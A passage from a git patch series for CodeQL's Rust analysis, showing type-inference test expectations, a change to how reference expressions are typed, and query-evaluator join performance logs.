Vec2 | +| main.rs:1647:25:1647:26 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1648:13:1648:20 | vec2_not | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1648:24:1648:26 | ! ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1648:25:1648:26 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1658:18:1658:21 | SelfParam | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1661:25:1663:5 | { ... } | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1662:9:1662:10 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1665:41:1669:5 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1665:41:1669:5 | { ... } | | main.rs:1665:16:1665:39 | ImplTraitTypeRepr | +| main.rs:1665:41:1669:5 | { ... } | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1666:9:1668:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1666:9:1668:9 | { ... } | | main.rs:1665:16:1665:39 | ImplTraitTypeRepr | +| main.rs:1666:9:1668:9 | { ... } | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1667:13:1667:14 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1676:17:1676:46 | SelfParam | | {EXTERNAL LOCATION} | Pin | +| main.rs:1676:17:1676:46 | SelfParam | Ptr | file://:0:0:0:0 | & | +| main.rs:1676:17:1676:46 | SelfParam | Ptr.&T | main.rs:1671:5:1671:14 | S2 | +| main.rs:1676:49:1676:51 | _cx | | file://:0:0:0:0 | & | +| main.rs:1676:49:1676:51 | _cx | &T | {EXTERNAL LOCATION} | Context | +| main.rs:1676:116:1678:9 | { ... } | | {EXTERNAL LOCATION} | Poll | +| main.rs:1676:116:1678:9 | { ... } | T | main.rs:1655:5:1655:14 | S1 | +| main.rs:1677:13:1677:38 | ...::Ready(...) | | {EXTERNAL LOCATION} | Poll | +| main.rs:1677:13:1677:38 | ...::Ready(...) | T | main.rs:1655:5:1655:14 | S1 | +| main.rs:1677:36:1677:37 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1681:41:1683:5 | { ... } | | main.rs:1671:5:1671:14 | S2 | +| main.rs:1681:41:1683:5 | { ... } | | main.rs:1681:16:1681:39 | ImplTraitTypeRepr | +| main.rs:1682:9:1682:10 | S2 | | main.rs:1671:5:1671:14 | S2 | +| main.rs:1682:9:1682:10 | S2 | | main.rs:1681:16:1681:39 | ImplTraitTypeRepr | +| main.rs:1686:9:1686:12 | f1(...) | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1686:9:1686:12 | f1(...) | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1686:9:1686:18 | await ... | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1687:9:1687:12 | f2(...) | | main.rs:1665:16:1665:39 | ImplTraitTypeRepr | +| main.rs:1687:9:1687:18 | await ... | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1688:9:1688:12 | f3(...) | | main.rs:1681:16:1681:39 | ImplTraitTypeRepr | +| main.rs:1688:9:1688:18 | await ... | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1689:9:1689:10 | S2 | | main.rs:1671:5:1671:14 | S2 | +| main.rs:1689:9:1689:16 | await S2 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1690:13:1690:13 | b | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1690:13:1690:13 | b | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1690:17:1692:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1690:17:1692:9 | { ... } | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1691:13:1691:14 | S1 | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1693:9:1693:9 | b | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1693:9:1693:9 | b | Output | main.rs:1655:5:1655:14 | S1 | +| main.rs:1693:9:1693:15 | await b | | main.rs:1655:5:1655:14 | S1 | +| main.rs:1703:15:1703:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1703:15:1703:19 | SelfParam | &T | main.rs:1702:5:1704:5 | Self [trait Trait1] | +| main.rs:1707:15:1707:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1707:15:1707:19 | SelfParam | &T | main.rs:1706:5:1708:5 | Self [trait Trait2] | +| main.rs:1711:15:1711:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1711:15:1711:19 | SelfParam | &T | main.rs:1699:5:1699:14 | S1 | +| main.rs:1715:15:1715:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1715:15:1715:19 | SelfParam | &T | main.rs:1699:5:1699:14 | S1 | +| main.rs:1718:37:1720:5 | { ... } | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1718:37:1720:5 | { ... } | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1719:9:1719:10 | S1 | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1719:9:1719:10 | S1 | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1723:18:1723:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1723:18:1723:22 | SelfParam | &T | main.rs:1722:5:1724:5 | Self [trait MyTrait] | +| main.rs:1727:18:1727:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1727:18:1727:22 | SelfParam | &T | main.rs:1699:5:1699:14 | S1 | +| main.rs:1727:31:1729:9 | { ... } | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1728:13:1728:14 | S2 | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1732:45:1734:5 | { ... } | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1732:45:1734:5 | { ... } | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1733:9:1733:10 | S1 | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1733:9:1733:10 | S1 | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1736:41:1736:41 | t | | main.rs:1736:26:1736:38 | B | +| main.rs:1736:52:1738:5 | { ... } | | main.rs:1736:23:1736:23 | A | +| main.rs:1737:9:1737:9 | t | | main.rs:1736:26:1736:38 | B | +| main.rs:1737:9:1737:17 | t.get_a() | | main.rs:1736:23:1736:23 | A | +| main.rs:1740:26:1740:26 | t | | main.rs:1740:29:1740:43 | ImplTraitTypeRepr | +| main.rs:1740:51:1742:5 | { ... } | | main.rs:1740:23:1740:23 | A | +| main.rs:1741:9:1741:9 | t | | main.rs:1740:29:1740:43 | ImplTraitTypeRepr | +| main.rs:1741:9:1741:17 | t.get_a() | | main.rs:1740:23:1740:23 | A | +| main.rs:1745:13:1745:13 | x | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1745:17:1745:20 | f1(...) | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1746:9:1746:9 | x | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1747:9:1747:9 | x | | main.rs:1718:16:1718:35 | ImplTraitTypeRepr | +| main.rs:1748:13:1748:13 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1748:17:1748:32 | get_a_my_trait(...) | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1749:13:1749:13 | b | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1749:17:1749:33 | uses_my_trait1(...) | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1749:32:1749:32 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1750:13:1750:13 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1750:17:1750:32 | get_a_my_trait(...) | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1751:13:1751:13 | c | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1751:17:1751:33 | uses_my_trait2(...) | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1751:32:1751:32 | a | | main.rs:1732:28:1732:43 | ImplTraitTypeRepr | +| main.rs:1752:13:1752:13 | d | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1752:17:1752:34 | uses_my_trait2(...) | | main.rs:1700:5:1700:14 | S2 | +| main.rs:1752:32:1752:33 | S1 | | main.rs:1699:5:1699:14 | S1 | +| main.rs:1758:5:1758:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1759:5:1759:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1759:20:1759:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1759:41:1759:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1775:5:1775:15 | ...::f(...) | | {EXTERNAL LOCATION} | trait Future | testFailures From 01701de4a7e1f9cbf21e9f77e55f54292c463d46 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 11 Jun 2025 09:09:22 +0200 Subject: [PATCH 238/271] Rust: Implement type inference for ref expression as type equality --- .../codeql/rust/internal/TypeInference.qll | 45 +++----------- .../test/library-tests/type-inference/main.rs | 4 +- .../type-inference/type-inference.expected | 60 ++++++++++++++++--- 3 files changed, 62 insertions(+), 47 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 9d775760fa3..a6151eb62e7 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -257,6 +257,10 @@ private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePat ) ) or + n1 = n2.(RefExpr).getExpr() and + prefix1.isEmpty() and + prefix2 = TypePath::singleton(TRefTypeParameter()) + or n1 = n2.(DerefExpr).getExpr() and prefix1 = TypePath::singleton(TRefTypeParameter()) and prefix2.isEmpty() @@ -973,43 +977,9 @@ private Type inferFieldExprType(AstNode n, TypePath path) { ) } -/** - * Gets the type of `n` at `path`, where `n` is either a reference expression - * `& x` or an expression `x` inside a reference expression `& x`. - */ +/** Gets the root type of the reference expression `re`. */ pragma[nomagic] -private Type inferRefExprType(Expr e, TypePath path) { - exists(RefExpr re | - e = re and - path.isEmpty() and - result = TRefType() - or - e = re and - exists(TypePath exprPath | result = inferType(re.getExpr(), exprPath) | - if exprPath.isCons(TRefTypeParameter(), _) - then - // `&x` simply means `x` when `x` already has reference type - path = exprPath - else ( - path = TypePath::cons(TRefTypeParameter(), exprPath) and - not (exprPath.isEmpty() and result = TRefType()) - ) - ) - or - e = re.getExpr() and - exists(TypePath exprPath, TypePath refPath, Type exprType | - result = inferType(re, exprPath) and - exprPath.isCons(TRefTypeParameter(), refPath) and - exprType = inferType(e) - | - if exprType = TRefType() - then - // `&x` simply means `x` when `x` already has reference type - path = exprPath - else path = refPath - ) - ) -} +private Type inferRefExprType(RefExpr re) { exists(re) and result = TRefType() } pragma[nomagic] private Type inferTryExprType(TryExpr te, TypePath path) { @@ -1505,7 +1475,8 @@ private module Cached { or result = inferFieldExprType(n, path) or - result = inferRefExprType(n, path) + result = inferRefExprType(n) and + path.isEmpty() or result = inferTryExprType(n, path) or diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 6a967d2c609..497bf331e51 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1191,13 +1191,13 @@ mod borrowed_typed { x.f2(); // $ method=f2 S::f3(&x); - let n = **&&true; // $ MISSING: type=n:bool + let n = **&&true; // $ type=n:bool // In this example the type of `flag` must be inferred at the call to // `flip` and flow through the borrow in the argument. let mut flag = Default::default(); MyFlag::flip(&mut flag); - println!("{:?}", flag); // $ MISSING: type=flag:MyFlag + println!("{:?}", flag); // $ type=flag:MyFlag } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 7babe27a4fa..30672ca89e5 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1442,25 +1442,49 @@ inferType | main.rs:1171:15:1171:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1171:15:1171:19 | SelfParam | &T | main.rs:1168:5:1168:13 | S | | main.rs:1171:31:1173:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T | file://:0:0:0:0 | & | | main.rs:1171:31:1173:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1171:31:1173:9 | { ... } | &T.&T | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1172:13:1172:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T | file://:0:0:0:0 | & | | main.rs:1172:13:1172:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:13:1172:19 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1172:14:1172:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1172:14:1172:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:14:1172:19 | &... | | main.rs:1168:5:1168:13 | S | +| main.rs:1172:14:1172:19 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1172:14:1172:19 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1172:14:1172:19 | &... | &T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1172:15:1172:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1172:15:1172:19 | &self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:15:1172:19 | &self | &T | file://:0:0:0:0 | & | +| main.rs:1172:15:1172:19 | &self | &T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1172:16:1172:19 | self | | file://:0:0:0:0 | & | | main.rs:1172:16:1172:19 | self | &T | main.rs:1168:5:1168:13 | S | | main.rs:1175:15:1175:25 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1175:15:1175:25 | SelfParam | &T | main.rs:1168:5:1168:13 | S | | main.rs:1175:37:1177:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T | file://:0:0:0:0 | & | | main.rs:1175:37:1177:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1175:37:1177:9 | { ... } | &T.&T | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1176:13:1176:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1176:13:1176:19 | &... | &T | file://:0:0:0:0 | & | | main.rs:1176:13:1176:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:13:1176:19 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1176:13:1176:19 | &... | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1176:13:1176:19 | &... | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1176:14:1176:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1176:14:1176:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:14:1176:19 | &... | | main.rs:1168:5:1168:13 | S | +| main.rs:1176:14:1176:19 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1176:14:1176:19 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1176:14:1176:19 | &... | &T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1176:15:1176:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1176:15:1176:19 | &self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:15:1176:19 | &self | &T | file://:0:0:0:0 | & | +| main.rs:1176:15:1176:19 | &self | &T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1176:16:1176:19 | self | | file://:0:0:0:0 | & | | main.rs:1176:16:1176:19 | self | &T | main.rs:1168:5:1168:13 | S | | main.rs:1179:15:1179:15 | x | | file://:0:0:0:0 | & | @@ -1472,13 +1496,25 @@ inferType | main.rs:1183:15:1183:15 | x | | file://:0:0:0:0 | & | | main.rs:1183:15:1183:15 | x | &T | main.rs:1168:5:1168:13 | S | | main.rs:1183:34:1185:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T | file://:0:0:0:0 | & | | main.rs:1183:34:1185:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1183:34:1185:9 | { ... } | &T.&T | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1184:13:1184:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T | file://:0:0:0:0 | & | | main.rs:1184:13:1184:16 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:13:1184:16 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1184:14:1184:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1184:14:1184:16 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:14:1184:16 | &... | | main.rs:1168:5:1168:13 | S | +| main.rs:1184:14:1184:16 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1184:14:1184:16 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1184:14:1184:16 | &... | &T.&T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1184:15:1184:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1184:15:1184:16 | &x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:15:1184:16 | &x | &T | file://:0:0:0:0 | & | +| main.rs:1184:15:1184:16 | &x | &T.&T | main.rs:1168:5:1168:13 | S | | main.rs:1184:16:1184:16 | x | | file://:0:0:0:0 | & | | main.rs:1184:16:1184:16 | x | &T | main.rs:1168:5:1168:13 | S | | main.rs:1189:13:1189:13 | x | | main.rs:1168:5:1168:13 | S | @@ -1494,15 +1530,23 @@ inferType | main.rs:1192:15:1192:16 | &x | | file://:0:0:0:0 | & | | main.rs:1192:15:1192:16 | &x | &T | main.rs:1168:5:1168:13 | S | | main.rs:1192:16:1192:16 | x | | main.rs:1168:5:1168:13 | S | -| main.rs:1194:18:1194:24 | * ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1194:13:1194:13 | n | | {EXTERNAL LOCATION} | bool | +| main.rs:1194:17:1194:24 | * ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1194:18:1194:24 | * ... | | file://:0:0:0:0 | & | +| main.rs:1194:18:1194:24 | * ... | &T | {EXTERNAL LOCATION} | bool | | main.rs:1194:19:1194:24 | &... | | file://:0:0:0:0 | & | -| main.rs:1194:19:1194:24 | &... | &T | {EXTERNAL LOCATION} | bool | +| main.rs:1194:19:1194:24 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1194:19:1194:24 | &... | &T.&T | {EXTERNAL LOCATION} | bool | | main.rs:1194:20:1194:24 | &true | | file://:0:0:0:0 | & | | main.rs:1194:20:1194:24 | &true | &T | {EXTERNAL LOCATION} | bool | | main.rs:1194:21:1194:24 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1198:13:1198:20 | mut flag | | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1198:24:1198:41 | ...::default(...) | | main.rs:1157:5:1160:5 | MyFlag | | main.rs:1199:22:1199:30 | &mut flag | | file://:0:0:0:0 | & | | main.rs:1199:22:1199:30 | &mut flag | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1199:27:1199:30 | flag | | main.rs:1157:5:1160:5 | MyFlag | | main.rs:1200:18:1200:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1200:26:1200:29 | flag | | main.rs:1157:5:1160:5 | MyFlag | | main.rs:1214:43:1217:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1214:43:1217:5 | { ... } | E | main.rs:1207:5:1208:14 | S1 | | main.rs:1214:43:1217:5 | { ... } | T | main.rs:1207:5:1208:14 | S1 | From 63aac1babb6bc9c7dafca1bbf3954cc58d25d082 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 10 Jun 2025 16:19:34 +0200 Subject: [PATCH 239/271] Rust: Fix bad join in `getCanonicalPath` Before ``` Pipeline standard for PathResolution::ItemNode.getCanonicalPath/1#dispred#f52ac1c6@5132b1w8 was evaluated in 107 iterations totaling 1217ms (delta sizes total: 870557). 568160 ~1% {2} r1 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::AssocItemNode.hasCanonicalPath/1#dispred#120fa1ad_project#PathResolution::ItemNode.__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 564597 ~1% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 68670 ~1% {2} r2 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::VariantItemNode.hasCanonicalPath/1#dispred#12012145_project#PathResolution::ItemNod__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 68670 ~0% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#5` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 49047 ~1% {2} r3 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::StructItemNode.hasCanonicalPath/1#dispred#f482e99c_project#PathResolution::ItemNode__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 49047 ~2% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#2` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 229 ~0% {2} r4 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::UnionItemNode.hasCanonicalPath/1#dispred#f67c4b73_project#PathResolution::ItemNode.__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 229 ~0% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#4` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 12207 ~0% {2} r5 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::EnumItemNode.hasCanonicalPath/1#dispred#03ce35b1_project#PathResolution::ItemNode.g__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 12207 ~0% {3} | JOIN WITH `__PathResolution::EnumItemNode.getName/0#dispred#f21ce0ed_PathResolution::ItemNode.getCanonicalPathP__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 26698 ~2% {2} r6 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::ModuleItemNode.hasCanonicalPath/1#dispred#2fee2540_project#PathResolution::ItemNode__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 26698 ~0% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#1` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 6315 ~1% {2} r7 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::TraitItemNode.hasCanonicalPath/1#dispred#824f98e3_project#PathResolution::ItemNode.__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 6315 ~1% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#3` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 112374 ~0% {3} r8 = JOIN `PathResolution::ImplItemNode.getCanonicalPathTraitPart/1#dispred#009a7fd0#prev_delta` WITH `_PathResolution::ImplItemNode.getTraitPath/0#dispred#3b7d1cb6_PathResolution::ImplItemNode.hasCanoni__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, _ 112374 ~3% {3} | REWRITE WITH Out.2 := 3 872046 ~1% {2} r9 = SCAN `PathResolution::ItemNode.getCanonicalPath/1#dispred#f52ac1c6#prev_delta` OUTPUT In.1, In.0 777662505 ~2% {3} | JOIN WITH `PathResolution::ImplItemNode.hasCanonicalPath/1#dispred#4e7c51c6_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.0 150127 ~1% {3} | JOIN WITH `PathResolution::ImplItemNode.resolveSelfTy/0#dispred#cf157d04` ON FIRST 2 OUTPUT Lhs.0, Lhs.2, _ 150127 ~0% {3} | REWRITE WITH Out.2 := 1 262501 ~1% {3} r10 = r8 UNION r9 230996 ~1% {5} r11 = JOIN r10 WITH `PathResolution::ImplItemNode.getTraitPath/0#dispred#3b7d1cb6` ON FIRST 1 OUTPUT Lhs.0, Lhs.1, Lhs.2, _, _ 230996 ~0% {5} | REWRITE WITH Out.3 := 4, Out.4 := 0 {3} r12 = r10 AND NOT `PathResolution::ImplItemNode.getTraitPath/0#dispred#3b7d1cb6_0#antijoin_rhs`(FIRST 1) 31487 ~0% {5} | SCAN OUTPUT In.0, In.1, In.2, _, _ 31487 ~1% {5} | REWRITE WITH Out.3 := 2, Out.4 := 0 262483 ~0% {5} r13 = r11 UNION r12 262483 ~0% {5} | JOIN WITH PRIMITIVE range#bbb ON Lhs.4,Lhs.3,Lhs.2 262483 ~0% {3} | SCAN OUTPUT In.3, In.0, In.1 142807 ~1% {3} | JOIN WITH `__PathResolution::ImplItemNode.getCanonicalPathTraitPart/1#dispred#009a7fd0#prev_PathResolution::Imp__#join_rhs` ON FIRST 3 OUTPUT Lhs.1, Lhs.2, Rhs.3 870570 ~1% {3} r14 = r1 UNION r2 UNION r3 UNION r4 UNION r5 UNION r6 UNION r7 UNION r13 870566 ~1% {3} | AND NOT `PathResolution::ItemNode.getCanonicalPath/1#dispred#f52ac1c6#prev`(FIRST 3) return r14 ``` After ``` Pipeline standard for PathResolution::ItemNode.getCanonicalPath/1#dispred#f52ac1c6@90aba2wd was evaluated in 100 iterations totaling 28ms (delta sizes total: 870531). 568160 ~0% {2} r1 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::AssocItemNode.hasCanonicalPath/1#dispred#120fa1ad_project#PathResolution::ItemNode.__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 564597 ~1% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 68670 ~0% {2} r2 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::VariantItemNode.hasCanonicalPath/1#dispred#12012145_project#PathResolution::ItemNod__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 68670 ~1% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#5` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 49047 ~0% {2} r3 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::StructItemNode.hasCanonicalPath/1#dispred#f482e99c_project#PathResolution::ItemNode__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 49047 ~1% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#2` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 229 ~0% {2} r4 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::UnionItemNode.hasCanonicalPath/1#dispred#f67c4b73_project#PathResolution::ItemNode.__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 229 ~0% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#4` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, 